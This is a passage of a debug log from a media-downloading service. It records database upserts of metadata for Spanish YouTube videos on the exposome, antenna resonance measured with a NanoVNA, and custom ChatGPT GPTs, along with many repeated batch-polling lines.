CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 1: EXPOSOMA: Descubre el 'Exposoma', el libro de todo lo que interactuamos desde el útero hasta el final de nuestras vidas. En este episodio, ¡**exploramos la genética** y desentrañamos los misterios del Exposoma! ¡No te lo pierdas! #Exposoma #Genética #Salud #Bienestar #MedioAmbiente #Ciencia #Descubrimiento #Interacción #PodcastSalud #CalidadDeVida", "¿Exposoma? ¡Desde la cuna a la tumba! 🤯", "6710871f-0486-4fc1-ba80-26d30f292b1b", 41, false, "eehrR47gzyw", "https://www.youtube.com/shorts/eehrR47gzyw", 18, "/downloads/music/IA mí QUÉ/¿Exposoma? ¡Desde la cuna a la tumba! 🤯.m4a", false, false, true, 2, [], 96, ~U[2025-05-20 10:09:31Z], ~U[2026-02-07 21:59:39Z], ~U[2026-02-07 21:59:39Z], "PARTE 1: EXPOSOMA: Descubre el 'Exposoma', el libro de todo lo que interactuamos desde el útero hasta el final de nuestras vidas. En este episodio, ¡**exploramos la genética** y desentrañamos los misterios del Exposoma! ¡No te lo pierdas! #Exposoma #Genética #Salud #Bienestar #MedioAmbiente #Ciencia #Descubrimiento #Interacción #PodcastSalud #CalidadDeVida", "¿Exposoma? ¡Desde la cuna a la tumba! 🤯", 41, false, "eehrR47gzyw", "https://www.youtube.com/shorts/eehrR47gzyw", "/downloads/music/IA mí QUÉ/¿Exposoma? ¡Desde la cuna a la tumba! 🤯.m4a", true, 2, ~U[2025-05-20 10:09:31Z]] 22:59:39.036 [debug] QUERY OK source="sources" db=0.4ms idle=255.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:59:39.037 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:59:39.038 [debug] QUERY OK source="media_items" db=0.5ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1397] 22:59:39.038 [debug] Current batch of media processed. Will check again in 1000ms 22:59:39.133 [debug] Current batch of media processed. Will check again in 1000ms 22:59:40.038 [debug] Current batch of media processed. Will check again in 1000ms 22:59:40.134 [debug] Current batch of media processed. Will check again in 1000ms 22:59:41.039 [debug] Current batch of media processed. Will check again in 1000ms 22:59:41.135 [debug] Current batch of media processed. Will check again in 1000ms 22:59:42.040 [debug] Current batch of media processed. Will check again in 1000ms 22:59:42.136 [debug] Current batch of media processed. Will check again in 1000ms 22:59:43.041 [debug] Current batch of media processed. Will check again in 1000ms 22:59:43.137 [debug] Current batch of media processed. Will check again in 1000ms 22:59:44.042 [debug] Current batch of media processed. Will check again in 1000ms 22:59:44.138 [debug] Current batch of media processed. Will check again in 1000ms 22:59:45.043 [debug] Current batch of media processed. Will check again in 1000ms 22:59:45.139 [debug] Current batch of media processed. Will check again in 1000ms 22:59:46.044 [debug] Current batch of media processed. Will check again in 1000ms 22:59:46.140 [debug] Current batch of media processed. Will check again in 1000ms 22:59:47.045 [debug] Current batch of media processed. Will check again in 1000ms 22:59:47.141 [debug] Current batch of media processed. Will check again in 1000ms 22:59:48.046 [debug] Current batch of media processed. Will check again in 1000ms 22:59:48.142 [debug] Current batch of media processed. Will check again in 1000ms 22:59:49.047 [debug] Current batch of media processed. Will check again in 1000ms 22:59:49.143 [debug] Current batch of media processed. Will check again in 1000ms 22:59:50.048 [debug] Current batch of media processed. Will check again in 1000ms 22:59:50.144 [debug] Current batch of media processed. Will check again in 1000ms 22:59:51.049 [debug] Current batch of media processed. Will check again in 1000ms 22:59:51.145 [debug] Current batch of media processed. Will check again in 1000ms 22:59:51.314 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:52.050 [debug] Current batch of media processed. Will check again in 1000ms 22:59:52.146 [debug] Current batch of media processed. Will check again in 1000ms 22:59:53.051 [debug] Current batch of media processed. Will check again in 1000ms 22:59:53.147 [debug] Current batch of media processed. Will check again in 1000ms 22:59:54.052 [debug] Current batch of media processed. Will check again in 1000ms 22:59:54.148 [debug] Current batch of media processed. Will check again in 1000ms 22:59:55.053 [debug] Current batch of media processed. Will check again in 1000ms 22:59:55.149 [debug] Current batch of media processed. Will check again in 1000ms 22:59:56.054 [debug] Current batch of media processed. Will check again in 1000ms 22:59:56.150 [debug] Current batch of media processed. Will check again in 1000ms 22:59:57.055 [debug] Current batch of media processed. Will check again in 1000ms 22:59:57.151 [debug] Current batch of media processed. Will check again in 1000ms 22:59:58.056 [debug] Current batch of media processed. Will check again in 1000ms 22:59:58.152 [debug] Current batch of media processed. Will check again in 1000ms 22:59:59.057 [debug] Current batch of media processed. Will check again in 1000ms 22:59:59.153 [debug] Current batch of media processed. Will check again in 1000ms 23:00:00.058 [debug] Current batch of media processed. Will check again in 1000ms 23:00:00.141 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:00.154 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "ATENCION: este video puede contener errores. No soy un especialista en el tema y aunque he intentado aprender lo necesario para explicarlo de forma coherente, es posible que haya cometido errores. Ruego vuestra indulgencia. \n\nTratamos aquí sobre como medir (sobre todo como entender) el rendimiento de la antena en términos de resonancia. Para ello he simplificado lo máximo posible para hacerlo entendible a personas que, como yo, tienen un nivel mas bien bajo en matemáticas. Espero os resulte útil.\n\nPara ampliar conceptos, os recomiendo los videos de Luis A. del Molino en el canal de URE, y su libro \"El ABC de las antenas\".\n\n#resonancia #antenas #radioaficionados #hamradio #resonance #inductancia #reactancia #inductiva #capacitativa #nanovna \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1882, "filename" => "/downloads/music/ea3grn/107 - MIDIENDO LA RESONANCIA DE LAS ANTENAS CON EL NANOVNA.m4a", "id" => "ZUN1KWBuhgc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZUN1KWBuhgc", "playlist_index" => 74, "timestamp" => 1682524843, "title" => "107 - MIDIENDO LA RESONANCIA DE LAS ANTENAS CON EL NANOVNA", "upload_date" => "20230426"} 23:00:00.155 [debug] QUERY OK source="sources" db=0.5ms idle=1375.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:00:00.156 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1376.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:00:00.157 [debug] QUERY OK source="media_items" db=0.8ms idle=1376.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-26 16:00:43Z], 3] 23:00:00.159 [debug] QUERY OK source="media_items" db=1.0ms idle=782.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["ATENCION: este video puede contener errores. No soy un especialista en el tema y aunque he intentado aprender lo necesario para explicarlo de forma coherente, es posible que haya cometido errores. Ruego vuestra indulgencia. \n\nTratamos aquí sobre como medir (sobre todo como entender) el rendimiento de la antena en términos de resonancia. Para ello he simplificado lo máximo posible para hacerlo entendible a personas que, como yo, tienen un nivel mas bien bajo en matemáticas. Espero os resulte útil.\n\nPara ampliar conceptos, os recomiendo los videos de Luis A. del Molino en el canal de URE, y su libro \"El ABC de las antenas\".\n\n#resonancia #antenas #radioaficionados #hamradio #resonance #inductancia #reactancia #inductiva #capacitativa #nanovna \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "107 - MIDIENDO LA RESONANCIA DE LAS ANTENAS CON EL NANOVNA", "6f32520e-a1f0-4a7b-8bd3-ad743cdabf14", 1882, false, "ZUN1KWBuhgc", "https://www.youtube.com/watch?v=ZUN1KWBuhgc", 74, "/downloads/music/ea3grn/107 - MIDIENDO LA RESONANCIA DE LAS ANTENAS CON EL NANOVNA.m4a", false, false, false, 3, [], 98, ~U[2023-04-26 16:00:43Z], ~U[2026-02-07 22:00:00Z], ~U[2026-02-07 22:00:00Z], "ATENCION: este video puede contener errores. No soy un especialista en el tema y aunque he intentado aprender lo necesario para explicarlo de forma coherente, es posible que haya cometido errores. Ruego vuestra indulgencia. \n\nTratamos aquí sobre como medir (sobre todo como entender) el rendimiento de la antena en términos de resonancia. Para ello he simplificado lo máximo posible para hacerlo entendible a personas que, como yo, tienen un nivel mas bien bajo en matemáticas. Espero os resulte útil.\n\nPara ampliar conceptos, os recomiendo los videos de Luis A. del Molino en el canal de URE, y su libro \"El ABC de las antenas\".\n\n#resonancia #antenas #radioaficionados #hamradio #resonance #inductancia #reactancia #inductiva #capacitativa #nanovna \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "107 - MIDIENDO LA RESONANCIA DE LAS ANTENAS CON EL NANOVNA", 1882, false, "ZUN1KWBuhgc", "https://www.youtube.com/watch?v=ZUN1KWBuhgc", "/downloads/music/ea3grn/107 - MIDIENDO LA RESONANCIA DE LAS ANTENAS CON EL NANOVNA.m4a", false, 3, ~U[2023-04-26 16:00:43Z]] 23:00:00.159 [debug] QUERY OK source="sources" db=0.4ms idle=17.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:00:00.160 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:00:00.161 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1452] 23:00:00.161 [debug] Current batch of media processed. Will check again in 1000ms 23:00:01.059 [debug] Current batch of media processed. Will check again in 1000ms 23:00:01.162 [debug] Current batch of media processed. Will check again in 1000ms 23:00:02.060 [debug] Current batch of media processed. Will check again in 1000ms 23:00:02.163 [debug] Current batch of media processed. Will check again in 1000ms 23:00:03.061 [debug] Current batch of media processed. Will check again in 1000ms 23:00:03.164 [debug] Current batch of media processed. Will check again in 1000ms 23:00:04.062 [debug] Current batch of media processed. Will check again in 1000ms 23:00:04.165 [debug] Current batch of media processed. Will check again in 1000ms 23:00:05.063 [debug] Current batch of media processed. Will check again in 1000ms 23:00:05.166 [debug] Current batch of media processed. Will check again in 1000ms 23:00:06.064 [debug] Current batch of media processed. Will check again in 1000ms 23:00:06.167 [debug] Current batch of media processed. Will check again in 1000ms 23:00:07.065 [debug] Current batch of media processed. Will check again in 1000ms 23:00:07.168 [debug] Current batch of media processed. Will check again in 1000ms 23:00:08.066 [debug] Current batch of media processed. Will check again in 1000ms 23:00:08.169 [debug] Current batch of media processed. Will check again in 1000ms 23:00:09.067 [debug] Current batch of media processed. Will check again in 1000ms 23:00:09.170 [debug] Current batch of media processed. Will check again in 1000ms 23:00:10.068 [debug] Current batch of media processed. Will check again in 1000ms 23:00:10.171 [debug] Current batch of media processed. Will check again in 1000ms 23:00:11.069 [debug] Current batch of media processed. Will check again in 1000ms 23:00:11.172 [debug] Current batch of media processed. Will check again in 1000ms 23:00:12.070 [debug] Current batch of media processed. Will check again in 1000ms 23:00:12.173 [debug] Current batch of media processed. Will check again in 1000ms 23:00:13.071 [debug] Current batch of media processed. Will check again in 1000ms 23:00:13.175 [debug] Current batch of media processed. Will check again in 1000ms 23:00:14.072 [debug] Current batch of media processed. Will check again in 1000ms 23:00:14.176 [debug] Current batch of media processed. Will check again in 1000ms 23:00:15.073 [debug] Current batch of media processed. Will check again in 1000ms 23:00:15.176 [debug] Current batch of media processed. Will check again in 1000ms 23:00:16.074 [debug] Current batch of media processed. Will check again in 1000ms 23:00:16.177 [debug] Current batch of media processed. Will check again in 1000ms 23:00:17.075 [debug] Current batch of media processed. Will check again in 1000ms 23:00:17.178 [debug] Current batch of media processed. Will check again in 1000ms 23:00:18.076 [debug] Current batch of media processed. Will check again in 1000ms 23:00:18.179 [debug] Current batch of media processed. Will check again in 1000ms 23:00:19.077 [debug] Current batch of media processed. Will check again in 1000ms 23:00:19.180 [debug] Current batch of media processed. Will check again in 1000ms 23:00:20.078 [debug] Current batch of media processed. Will check again in 1000ms 23:00:20.181 [debug] Current batch of media processed. Will check again in 1000ms 23:00:21.079 [debug] Current batch of media processed. Will check again in 1000ms 23:00:21.182 [debug] Current batch of media processed. Will check again in 1000ms 23:00:21.316 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:22.080 [debug] Current batch of media processed. Will check again in 1000ms 23:00:22.183 [debug] Current batch of media processed. Will check again in 1000ms 23:00:23.081 [debug] Current batch of media processed. Will check again in 1000ms 23:00:23.184 [debug] Current batch of media processed. Will check again in 1000ms 23:00:24.082 [debug] Current batch of media processed. Will check again in 1000ms 23:00:24.185 [debug] Current batch of media processed. Will check again in 1000ms 23:00:25.083 [debug] Current batch of media processed. Will check again in 1000ms 23:00:25.186 [debug] Current batch of media processed. Will check again in 1000ms 23:00:26.084 [debug] Current batch of media processed. Will check again in 1000ms 23:00:26.187 [debug] Current batch of media processed. Will check again in 1000ms 23:00:27.085 [debug] Current batch of media processed. Will check again in 1000ms 23:00:27.188 [debug] Current batch of media processed. Will check again in 1000ms 23:00:28.086 [debug] Current batch of media processed. Will check again in 1000ms 23:00:28.189 [debug] Current batch of media processed. Will check again in 1000ms 23:00:29.087 [debug] Current batch of media processed. Will check again in 1000ms 23:00:29.190 [debug] Current batch of media processed. Will check again in 1000ms 23:00:30.088 [debug] Current batch of media processed. Will check again in 1000ms 23:00:30.191 [debug] Current batch of media processed. Will check again in 1000ms 23:00:31.089 [debug] Current batch of media processed. Will check again in 1000ms 23:00:31.192 [debug] Current batch of media processed. Will check again in 1000ms 23:00:32.090 [debug] Current batch of media processed. Will check again in 1000ms 23:00:32.193 [debug] Current batch of media processed. Will check again in 1000ms 23:00:33.091 [debug] Current batch of media processed. Will check again in 1000ms 23:00:33.194 [debug] Current batch of media processed. Will check again in 1000ms 23:00:34.092 [debug] Current batch of media processed. Will check again in 1000ms 23:00:34.195 [debug] Current batch of media processed. Will check again in 1000ms 23:00:35.093 [debug] Current batch of media processed. Will check again in 1000ms 23:00:35.196 [debug] Current batch of media processed. Will check again in 1000ms 23:00:36.094 [debug] Current batch of media processed. Will check again in 1000ms 23:00:36.197 [debug] Current batch of media processed. Will check again in 1000ms 23:00:37.095 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 16: CHATGPT NUEVAS FUNCIONALIDADES: Sumérgete en la personalización de ChatGPT para tareas profesionales. Descubre cómo crear agentes de IA personalizados con GPTs, generar imágenes personalizadas y gestionar clientes. ¡Automatiza tareas y explora el GPT Store para agentes especializados! #ChatGPT #GPTs #IA #Automatización #ChatGPT #GPTs #InteligenciaArtificial #Automatizacion #AgentesAI #Productividad #Desarrollo #GPTStore #AsistentesVirtuales #PersonalizacionAI", "duration" => 21, "filename" => "/downloads/music/IA mí QUÉ/¡Crea tu IA Personal! GPTs para TODO lo que Necesitas.m4a", "id" => "QvMe7-I9hq4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/QvMe7-I9hq4", "playlist_index" => 19, "timestamp" => 1747173391, "title" => "¡Crea tu IA Personal! GPTs para TODO lo que Necesitas", "upload_date" => "20250513"} 23:00:37.096 [debug] QUERY OK source="sources" db=0.6ms idle=1312.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:00:37.097 [debug] QUERY OK source="sources" db=0.4ms idle=1313.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:00:37.098 [debug] QUERY OK source="media_items" db=0.7ms idle=1313.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-13 21:56:31Z], 2] 23:00:37.099 [debug] QUERY OK source="media_items" db=1.0ms idle=655.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 16: CHATGPT NUEVAS FUNCIONALIDADES: Sumérgete en la personalización de ChatGPT para tareas profesionales. Descubre cómo crear agentes de IA personalizados con GPTs, generar imágenes personalizadas y gestionar clientes. ¡Automatiza tareas y explora el GPT Store para agentes especializados! #ChatGPT #GPTs #IA #Automatización #ChatGPT #GPTs #InteligenciaArtificial #Automatizacion #AgentesAI #Productividad #Desarrollo #GPTStore #AsistentesVirtuales #PersonalizacionAI", "¡Crea tu IA Personal! GPTs para TODO lo que Necesitas", "7628cb4c-747f-454a-9706-33e46bcd49ee", 21, false, "QvMe7-I9hq4", "https://www.youtube.com/shorts/QvMe7-I9hq4", 19, "/downloads/music/IA mí QUÉ/¡Crea tu IA Personal! GPTs para TODO lo que Necesitas.m4a", false, false, true, 2, [], 98, ~U[2025-05-13 21:56:31Z], ~U[2026-02-07 22:00:37Z], ~U[2026-02-07 22:00:37Z], "PARTE 16: CHATGPT NUEVAS FUNCIONALIDADES: Sumérgete en la personalización de ChatGPT para tareas profesionales. Descubre cómo crear agentes de IA personalizados con GPTs, generar imágenes personalizadas y gestionar clientes. ¡Automatiza tareas y explora el GPT Store para agentes especializados! #ChatGPT #GPTs #IA #Automatización #ChatGPT #GPTs #InteligenciaArtificial #Automatizacion #AgentesAI #Productividad #Desarrollo #GPTStore #AsistentesVirtuales #PersonalizacionAI", "¡Crea tu IA Personal! GPTs para TODO lo que Necesitas", 21, false, "QvMe7-I9hq4", "https://www.youtube.com/shorts/QvMe7-I9hq4", "/downloads/music/IA mí QUÉ/¡Crea tu IA Personal! GPTs para TODO lo que Necesitas.m4a", true, 2, ~U[2025-05-13 21:56:31Z]] 23:00:37.100 [debug] QUERY OK source="sources" db=0.4ms idle=316.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:00:37.101 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:00:37.101 [debug] QUERY OK source="media_items" db=0.5ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1399] 23:00:37.102 [debug] Current batch of media processed. Will check again in 1000ms 23:00:37.198 [debug] Current batch of media processed. Will check again in 1000ms 23:00:38.102 [debug] Current batch of media processed. Will check again in 1000ms 23:00:38.199 [debug] Current batch of media processed. Will check again in 1000ms 23:00:39.103 [debug] Current batch of media processed. Will check again in 1000ms 23:00:39.200 [debug] Current batch of media processed. Will check again in 1000ms 23:00:40.104 [debug] Current batch of media processed. Will check again in 1000ms 23:00:40.201 [debug] Current batch of media processed. Will check again in 1000ms 23:00:41.105 [debug] Current batch of media processed. Will check again in 1000ms 23:00:41.202 [debug] Current batch of media processed. Will check again in 1000ms 23:00:42.106 [debug] Current batch of media processed. Will check again in 1000ms 23:00:42.203 [debug] Current batch of media processed. Will check again in 1000ms 23:00:43.107 [debug] Current batch of media processed. Will check again in 1000ms 23:00:43.204 [debug] Current batch of media processed. Will check again in 1000ms 23:00:44.108 [debug] Current batch of media processed. Will check again in 1000ms 23:00:44.205 [debug] Current batch of media processed. Will check again in 1000ms 23:00:45.109 [debug] Current batch of media processed. Will check again in 1000ms 23:00:45.206 [debug] Current batch of media processed. Will check again in 1000ms 23:00:46.110 [debug] Current batch of media processed. Will check again in 1000ms 23:00:46.207 [debug] Current batch of media processed. Will check again in 1000ms 23:00:47.111 [debug] Current batch of media processed. Will check again in 1000ms 23:00:47.208 [debug] Current batch of media processed. Will check again in 1000ms 23:00:48.112 [debug] Current batch of media processed. Will check again in 1000ms 23:00:48.209 [debug] Current batch of media processed. Will check again in 1000ms 23:00:49.113 